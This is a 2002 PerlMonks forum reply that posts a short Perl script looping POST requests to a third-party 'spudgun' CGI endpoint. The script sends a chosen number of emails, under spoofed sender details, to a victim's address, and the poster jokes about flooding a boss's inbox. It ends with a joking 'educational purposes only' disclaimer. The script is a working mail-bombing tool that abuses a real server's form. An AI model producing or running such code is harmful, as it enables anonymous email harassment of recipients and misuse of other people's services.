Beefy Boxes and Bandwidth Generously Provided by pair Networks
Do you know where your variables are?
 
PerlMonks  

Re: The Spudgun - full auto, no safety mod

by meta4 (Monk)
on Jul 18, 2002 at 00:27 UTC ( #182661=note: print w/replies, xml ) Need Help??


in reply to The Spudgun

OOOO!! I think I can have a little fun with this.

#!/usr/bin/perl use HTTP::Request::Common qw(POST); use LWP::UserAgent; my $VictimEmail = shift; # The Victim's E-mail Adress {evil cackle} my $ClipSize = shift; # How many E-mails you want to send for( my $i = 0; $i < $ClipSize; $i++ ) { my $req = POST( 'http://www.cromedome.net/cgi-bin/spudgun.cgi', [ from_name => 'A very bad man', from_email => 'AVeryBadMan@BadPeople.com', to_name => 'Sucker!', to_email => $VictimEmail, ] ); $ua = LWP::UserAgent->new; my $result = $ua->request($req)->as_string; die"%*#%! spudgun, That didn't work! \n$result" unless $result =~ /You have just fired your spudgun/; sleep( 5 ); # try not to overload the server. }

Now, where's the PHB's email address... Let's fill up his inbox...

DISCLAIMER: For educational purposes only. Neither Perlmonks nor meta4 advocate waisting resources just to mail bomb your PHB, or anyone else, anonymously. This really is just a demonstration of how to use HTTP::Request::Common. Or, uh... This is just a demonstraion of how someone (surely not me) could get creative and abuse a CGI script by not calling it from a browser.

Bad meta4! Bad, bad!

Log In?
Username:
Password:

What's my password?
Create A New User
Node Status?
node history
Node Type: note [id://182661]
help
Chatterbox?
and the web crawler heard nothing...

How do I use this? | Other CB clients
Other Users?
Others drinking their drinks and smoking their pipes about the Monastery: (7)
As of 2020-01-23 20:41 GMT
Sections?
Information?
Find Nodes?
Leftovers?
    Voting Booth?
    Notices?